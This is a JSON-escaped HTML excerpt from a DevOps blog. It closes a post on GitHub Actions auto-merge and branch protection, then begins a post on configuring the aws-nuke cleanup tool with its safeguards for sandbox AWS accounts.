#96D0FF\"\u003ecompleted\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ejobs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003emerge\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ github.event.workflow_run.conclusion == 'success' }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eruns-on\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epermissions\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003econtents\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewrite\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epull-requests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewrite\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003echecks\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003estatuses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eactions\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eoutputs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epullRequestNumber\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ steps.workflow-run-info.outputs.pullRequestNumber }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esteps\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Get information about the current run\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epotiuk/get-workflow-origin@v1_5\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eid\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eworkflow-run-info\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etoken\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ secrets.GITHUB_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esourceRunId\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ github.event.workflow_run.id }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emerge a pull request after terraform apply\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo-bot/action-pull-request-merge@v1.2.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003egithub-token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ secrets.GITHUB_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003enumber\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ steps.workflow-run-info.outputs.pullRequestNumber }}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will wait until the \u003ccode\u003epr_apply\u003c/code\u003e job completes and as long as it was\nsuccessful it'll merge the branch!\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eNOTE\u003c/strong\u003e: As I mentioned earlier, the event based actions do not run in the\ncontext of the pull request which means you cannot test changes to them during\nthe PR either.  You must merge the \u003ccode\u003eon-apply-finished.yml\u003c/code\u003e file to \u003ccode\u003emain\u003c/code\u003e\nbefore it starts working.\u003c/p\u003e\n\u003ch1\u003eBranch Protection\u003c/h1\u003e\n\u003cp\u003eThe final step to the process is to make sure you go to your github settings\nand make sure these status checks are required before merging. Branch protection\nis a feature that will prevent merging changes into a branch unless all\nrequired checks are passing.\u003c/p\u003e\n\u003cp\u003eGo to \u003ccode\u003eSettings\u003c/code\u003e -\u003e \u003ccode\u003eBranches\u003c/code\u003e -\u003e \u003ccode\u003eBranch Protection\u003c/code\u003e and add a branch\nprotection rule:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/branch_protection.png\" width=\"500\"\u003e\n\u003c/center\u003e\n\u003cp\u003eYou want to enable the following settings:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eBranch Name\u003c/strong\u003e: main\u003c/li\u003e\n\u003cli\u003e✅ Require a pull request before merging\u003c/li\u003e\n\u003cli\u003e✅ Require status checks to pass before merging\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThen for \u003ccode\u003eStatus checks that are required.\u003c/code\u003e select all of the ones we've\ncreated:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/required_checks.png\" height=\"200\"\u003e\n\u003c/center\u003e\n\u003ch1\u003eHelpful Resources\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://developer.hashicorp.com/terraform/tutorials/cloud/dynamic-credentials?product_intent=terraform\"\u003eTerraform Dynamic Credentials Tutorial\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://developer.hashicorp.com/terraform/cloud-docs/workspaces/dynamic-provider-credentials/aws-configuration\"\u003eTerraform docs on Dynamic Credentials\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#understanding-the-oidc-token\"\u003eGithub's understanding OIDC\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e","category":"AWS","date":"2023-06-22T19:00:00-05:00","tags":["AWS","DevOps","SRE"],"title":"AWS From Scratch with Terraform - Setting up your Root Account for IaC  with Terraform Cloud and Github actions."}]},"AWS":{"count":2,"posts":[{"id":["2023","nuking_aws_account"],"path":"2023/nuking_aws_account","contentHtml":"\u003cp\u003eWhen you're an SRE/DevOps engineer you'll end up making AWS accounts and\ncreate a lot of cruft in your sandbox and development accounts. AWS\ndoes not make it easy to clear these up but there is a tool called\n\u003ca href=\"https://github.com/rebuy-de/aws-nuke\"\u003eaws-nuke\u003c/a\u003e that will do it for you!\u003c/p\u003e\n\u003ch1\u003eSafe Guards\u003c/h1\u003e\n\u003cp\u003eaws-nuke has a few safeguards in place to prevent inadvertent data loss.\nThe first of which is it requires you to alias the targetted account. I\nlike to put \u003ccode\u003enuke\u003c/code\u003e in the alias to make it clear.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eiam\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecreate-account-alias\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--account-alias\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enuke-\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaccoun\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003et\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe second safe-guard is the config takes a key called \u003ccode\u003eaccount-blocklist\u003c/code\u003e\nthat will guarantee nuke will not run against it no matter what.\u003c/p\u003e\n\u003cp\u003eThe final safety switch it has is it will not take any action by default,\nit will only execute a dry-run.   You need to run the CLI with\n\u003ccode\u003e--no-dry-run\u003c/code\u003e if you want it to take action.\u003c/p\u003e\n\u003ch1\u003eGetting Started\u003c/h1\u003e\n\u003cp\u003eYou configure \u003ccode\u003eaws-nuke\u003c/code\u003e with YAML, so the first step is to define that:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eregions:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e  - us-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e  - global\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eaccount-blocklist:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e  - \"888888888888\" # production\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eaccounts:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e  \"777777777777\": {} # nuke-\u0026#x3C;account\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will prevent us from nuking our production account and target all resources\nin the account we actually want to nuke.\u003c/p\u003e\n\u003cp\u003eYou might want to have it nuke \u003cem\u003eALL REGIONS\u003c/em\u003e in AWS since you may not know which\nregions resources are deployed in.   To do this you can query the regions from AWS:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eec2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edescribe-regions\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--all-regions\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--query\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Regions[*].RegionName\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--output\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etext\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003exargs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-n\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esort\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eaf-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-northeast-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-northeast-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-northeast-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-south-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-southeast-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-southeast-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-southeast-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-southeast-4\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eca-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeu-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeu-central-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeu-north-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeu-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeu-south-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeu-west-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeu-west-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeu-west-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eme-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eme-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003esa-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-west-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-west-2\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWhich would give you an updated config of:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eregions\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# Global resources like IAM\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaf-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-northeast-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-northeast-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-northeast-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-south-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-southeast-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-southeast-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-southeast-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-southeast-4\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eca-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeu-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeu-central-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeu-north-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeu-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeu-south-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeu-west-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeu-west-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeu-west-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eme-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eme-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esa-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eus-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eus-east-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eus-west-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eus-west-2\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eI personally don't recommend targetting all AWS regions at the same time.  It\nwill generate a lot of output and be slow.  You could do it if necessary but\nmost people only have a few regions they use and so they can set those directly.\nFor example it, maybe you only use \u003ccode\u003eus-\u003c/code\u003e based regions?\u003c/p\u003e\n\u003cp\u003eSo lets run the dry-run and see what it wants to nuke:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws-nuke\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-c\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: 